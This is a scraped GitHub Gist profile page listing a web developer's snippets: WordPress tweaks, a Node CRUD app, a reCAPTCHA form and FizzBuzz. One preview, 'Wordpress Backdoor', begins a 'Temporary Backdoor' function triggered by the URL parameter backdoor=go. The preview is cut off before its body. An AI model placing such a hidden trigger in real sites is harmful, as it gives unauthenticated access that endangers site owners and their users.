Skip to content

Instantly share code, notes, and snippets.

Leveling up my node.js skills

Michael Hicks Kustomdesigner

Leveling up my node.js skills
Block or report user

Report or block Kustomdesigner

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
Kustomdesigner / cloudSettings
Last active Jan 27, 2019
Visual Studio Code Settings Sync Gist
View cloudSettings
Kustomdesigner / index.html
Created Jan 11, 2019
Retreaver.js - Set phone number so that the number is static on direct and call pool number all other times
View index.html
<!--Retreaver Script-->
<!-- <script src="//"></script> -->
<script src=""></script>
var j = jQuery.noConflict();
j(function() {
Retreaver.configure({host: '', prefix: 'https'});
// Initialize the Retreaver campaign using the campaign key from your campaign page.
var phoneNum = new Retreaver.Campaign({ campaign_key: '3a4f5683eddd986e4eb3cf5638ad88b6' });
Kustomdesigner / functions.php
Created Jan 4, 2019
Redirect Contact Form 7
View functions.php
* Redirect Contact Form 7 Submissions
function redirect_cf7() { ?>
<script type="text/javascript">
document.addEventListener( 'wpcf7mailsent', function( event ) {
if ( '1438' == event.detail.contactFormId ) { // Sends sumissions on form 947 to the first thank you page
location = '';
} else { // Sends submissions on all unaccounted for forms to the third thank you page
Kustomdesigner / app.js
Created Dec 17, 2018
Basic node.js crud app using: node.js, mongoose.js, express.js, and nodemon.js on an mlab mongo db server
View app.js
//Require assets
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.Promise = global.Promise;
let port = 3000;
const bodyParser = require('body-parser');
Kustomdesigner / index.html
Created Dec 4, 2018
Basic php form using recatcha v2 and curl
View index.html
//Fetch Recaptcha API
<script src=''></script>
<div id="contact_form">
<h1>Contact Form</h1>
<form method="POST" action="includes/php/mail.php">
<p class="">
Your Name:</p>
<input class="" name="name" type="text" size="25" maxlength="100" />
Kustomdesigner / index.html
Last active Oct 25, 2018
FizzBuzz Challenge - Write a program that prints the numbers from 1 to 100. But for multiples of three print "Fizz" instead of the number and for the multiples of five print "Buzz". For numbers which are multiples of both three and five print "FizzBuzz".
View index.html
<!doctype html>
<html lang="en">
<meta charset="utf-8">
<title>Fizz Buzz Challenge</title>
Kustomdesigner / index.php
Created Oct 24, 2018
Change menu links so they work with one page scrolling website
View index.php
<?php if( !is_front_page() ) { ?>
//Change links so they work if it is not the homepage
var j = jQuery.noConflict();
j(function() {
j('#menu-primary-menu li a').each(function() {
var href = j(this).attr('href'),
siteUrl = window.location.protocol + '//' + + '/';
View Jquery - Smooth Scrolling Anchor Links - Using jQuery No Conflict
View Wordpress Backdoor
* Temporary Backdoor
//Your website’s backdoor is:
function holeinthewall() {
if ($_GET['backdoor'] == 'go') {
Kustomdesigner / Add open graph (og:) tags to wordpress for facebook sharing of posts
Created Oct 12, 2018
Add open graph (og:) tags to wordpress for facebook sharing of posts
View Add open graph (og:) tags to wordpress for facebook sharing of posts
<?php if( is_single() ) { ?>
function ogtrimtext($data, $limit) {
$arr = explode(" ", $data);
$new_arr = array_slice($arr, 0, $limit);
return implode(" ", $new_arr);
global $post;
$og_post_object = get_post( $post_id );
You can’t perform that action at this time.